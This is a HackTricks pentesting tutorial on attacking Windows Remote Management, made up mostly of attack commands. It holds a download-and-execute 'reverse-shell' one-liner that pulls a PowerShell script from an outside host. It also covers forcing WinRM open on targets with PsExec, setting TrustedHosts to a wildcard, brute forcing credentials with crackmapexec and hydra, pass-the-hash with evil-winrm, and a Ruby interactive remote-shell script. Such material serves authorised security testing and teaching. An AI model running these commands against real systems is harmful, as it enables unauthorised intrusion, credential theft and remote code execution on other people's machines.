15 KiB
5985,5986 - Pentesting WinRM
HackTricks in 🐦 Twitter 🐦 - 🎙️ Twitch Wed - 18.30(UTC) 🎙️ - 🎥 Youtube 🎥
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
- Discover The PEASS Family, our collection of exclusive NFTs
- Get the official PEASS & HackTricks swag
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
- Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.
Follow HackenProof to learn more about web3 bugs
🐞 Read web3 bug tutorials
🔔 Get notified about new bug bounties
💬 Participate in community discussions
WinRM
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
If WinRM is enabled on the machine, it's trivial to remotely administer the machine from PowerShell. In fact, you can just drop in to a remote PowerShell session on the machine (as if you were using SSH!)
The easiest way to detect whether WinRM is available is by seeing if the port is opened. WinRM will listen on one of two ports:
- 5985/tcp (HTTP)
- 5986/tcp (HTTPS)
If one of these ports is open, WinRM is configured and you can try entering a remote session.
Initiating WinRM Session.
We can configure PowerShell to work with WinRM. According to Microsoft documentation, Enable-PSRemoting is a cmdlet that configures the computer to receive PowerShell remote commands. If we have access to an elevated PowerShell prompt on the victim, we cam enable it and add any "attackers" as trusted hosts. We can run the following two commands:
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
This adds a wildcard to the trustedhosts setting. Be wary of what that entails. Note: I also had to change the network type on my attack machine from "Public" to "Work" network.
You can also activate WinRM remotely **_using _wmic:
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
Test if configured
Once the attack machine is configured, use the Test-WSMan
function to test whether the target is configured for WinRM. You should see some information returned about the protocol version and wsmid:
In this case the first one is configured and the second isn't.
Execute a command
Now we can use PowerShell's Invoke-Command
to remotely execute a command on the target over WinRM. To remotely run ipconfig
and see the output:
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
You can also execute a command of your current PS console via Invoke-Command. Suppose that you have locally a function called enumeration and you want to execute it in a remote computer, you can do:
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
Execute a Script
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
Get reverse-shell
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
Get a PS session
Or, if you want to drop right into an interactive PowerShell session, use the Enter-PSSession
function:
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
The session will run in a new process (wsmprovhost) inside the "victim"
Forcing WinRM Open
If you really want to use PS Remoting and WinRM but the target isn't configured for it, you could "force" it on through a single command. I wouldn't recommend this but if you really wanted to use WinRM or PSRemoting than by all means do it this way. For example, using PSExec:
PS C:\tools\SysinternalsSuite> .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
Now we can enter a remote PS session on the victim.
Saving and Restoring sessions
This won't work if the the language is constrained in the remote computer.
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1
Inside this sessions you can load PS scripts using Invoke-Command
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
Errors
If you find the following error:
enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.
The try on the client (info from here):
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
Follow HackenProof to learn more about web3 bugs
🐞 Read web3 bug tutorials
🔔 Get notified about new bug bounties
💬 Participate in community discussions
WinRM connection in linux
Brute Force
Be careful, brute-forcing winrm could block users.
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
Using evil-winrm
gem install evil-winrm
Read documentation on its github: https://github.com/Hackplayers/evil-winrm
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
To use evil-winrm to connect to an IPv6 address create an entry inside /etc/hosts setting a domain name to the IPv6 address and connect to that domain.
Pass the hash with evil-winrm
evil-winrm -u <username> -H <Hash> -i <IP>
Using a PS-docker machine
docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
Using a ruby script
Code extracted from here: https://alamot.github.io/winrm_shell/
require 'winrm-fs'
# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)
class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end
command=""
file_manager = WinRM::FS::FileManager.new(conn)
conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end
Shodan
port:5985 Microsoft-HTTPAPI
References
HackTricks Automatic Commands
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
Port_Number: 5985 #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
menu
invoke-binary `tab`
#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
https://book.hacktricks.xyz/pentesting/pentesting-winrm
Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
Follow HackenProof to learn more about web3 bugs
🐞 Read web3 bug tutorials
🔔 Get notified about new bug bounties
💬 Participate in community discussions
HackTricks in 🐦 Twitter 🐦 - 🎙️ Twitch Wed - 18.30(UTC) 🎙️ - 🎥 Youtube 🎥
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
- Discover The PEASS Family, our collection of exclusive NFTs
- Get the official PEASS & HackTricks swag
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
- Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.